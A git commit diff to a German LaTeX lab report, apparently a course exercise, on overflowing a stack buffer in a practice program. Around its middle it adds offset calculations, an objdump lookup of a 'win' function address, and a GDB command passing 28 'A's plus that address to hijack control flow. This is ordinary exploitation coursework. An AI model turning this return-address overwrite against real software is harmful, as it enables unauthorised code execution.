don't stop the time... i wasn't having a break, this is how long it took!

This commit is contained in:
Florian Hoss 2022-04-25 21:18:05 +02:00
parent 7e54012640
commit d2e9b0a702

View file

@ -51,19 +51,12 @@ Zum debuggen wird der Befehl \verb|gdb bufferOverflow| eingegeben. Damit wird de
Wenn man den Breakpoint auf \verb|calculate()| setzt, einen schritt über \verb|strcpy(name,text)| macht, bekommt man einen Segmentation fault. Wenn man den Breakpoint auf \verb|calculate()| setzt, einen schritt über \verb|strcpy(name,text)| macht, bekommt man einen Segmentation fault.
\subsection{Stack} \subsection{Versuchen zu gewinnen}
Hinweis: \verb|"A" ASCII| wird als \verb|0x41| geschrieben. Hinweis: \verb|"A" ASCII| wird als \verb|0x41| geschrieben.
Hinweis: \verb|"B" ASCII| wird als \verb|0x42| geschrieben. Hinweis: \verb|"B" ASCII| wird als \verb|0x42| geschrieben.
Abstand zwischen name (\verb|0xbffff2a0|) und input (\verb|0xbffff2b4|) sind 20 Byte. Jeder Int belegt 4 Byte auf dem Stack. Somit müsste man \[20 + 6 * 4 Byte = 44 Byte\] mit Zahlen belegen damit man immer gewinnt.
\begin{verbatim}
argv[1]: AAAAAAAAAAAAAAAA (16 Byte)
+ BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB (44 Byte)
\end{verbatim}
\begin{verbatim} \begin{verbatim}
Username: Florian Username: Florian
Input1: 1 Input1: 1
@ -71,6 +64,19 @@ Input2: 1
Input3: 1 Input3: 1
\end{verbatim} \end{verbatim}
Speicheraddresse der Zeile 60 herausfinden, in der die Win-Funktion aufgerufen wird:
\begin{verbatim}
objdump -d ./bufferOverflow | grep win
0x08048807: 80485a4 <win>
\end{verbatim}
Dann GDB \verb|gdb bufferOverflow| mit folgenden Befehl ausführen
\verb|r $(python -c " print('A'*28+'\x07\x88\x04\x08')")|
damit 28x'A' und die Adresse der Win-Funktion als argument der Software mitgegeben wird.
\begin{tabular}{|l|l||r|r|} \begin{tabular}{|l|l||r|r|}
\hline \hline
\multicolumn{2}{|c||}{\textbf{Basic Information}} & \multicolumn{2}{c|}{\textbf{Values at Line}} \\ \multicolumn{2}{|c||}{\textbf{Basic Information}} & \multicolumn{2}{c|}{\textbf{Values at Line}} \\